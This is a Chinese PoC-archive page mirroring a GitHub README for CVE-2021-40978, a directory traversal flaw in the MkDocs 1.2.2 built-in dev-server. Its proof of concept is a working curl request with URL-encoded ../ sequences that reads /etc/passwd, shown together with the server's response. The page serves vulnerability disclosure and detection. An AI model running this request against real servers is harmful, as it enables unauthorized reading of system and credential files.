POC详情： a8448cb4688b0f9cab59bb810bffb35a2bbc9600

来源
https://github.com/nisdn/CVE-2021-40978
关联漏洞
标题： Mkdocs 路径遍历漏洞 (CVE-2021-40978)
描述：Mkdocs是一个快速、简单和彻头彻尾的华丽静态站点生成器。用于构建项目文档。 mkdocs 1.2.2 存在安全漏洞，该漏洞允许远程利用以获取敏感信息。
介绍
# CVE-2021-40978
mkdocs built-in dev-server directory traversal exploitation

Mkdocs 1.2.2 allows directory traversal through the built-in dev-server which responds on port 8000.
There is below some examples of successfully exploited paths:

## Impact
Using this tecnique it is possible to fetch files outside of the root directory, allowing anyone to read and download arbitrary files.

![image](https://user-images.githubusercontent.com/15092748/135782666-a909e804-2efd-4735-81a9-30c1561c9742.png)

#### Request:
![image](https://user-images.githubusercontent.com/15092748/135782696-1383f999-4943-4b52-a57a-95a60119ae23.png)

#### Response:
![image](https://user-images.githubusercontent.com/15092748/135782767-bc531a35-cb85-45eb-9323-b397eae422e1.png)

## Proof Of Concept

### [Nuclei](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-40978.yaml) Template: https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-40978.yaml

```
curl http://0.0.0.0:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -i
HTTP/1.0 200 OK
Date: Mon, 04 Oct 2021 02:13:38 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: application/octet-stream
Content-Length: 2187

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync...
```

![Screenshot_20211003_231812](https://user-images.githubusercontent.com/62824857/135784709-25add5c6-07e3-4ecb-90ce-f8c205ffaca4.png)
文件快照

 [4.0K]  /data/pocs/a8448cb4688b0f9cab59bb810bffb35a2bbc9600
└── [1.5K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。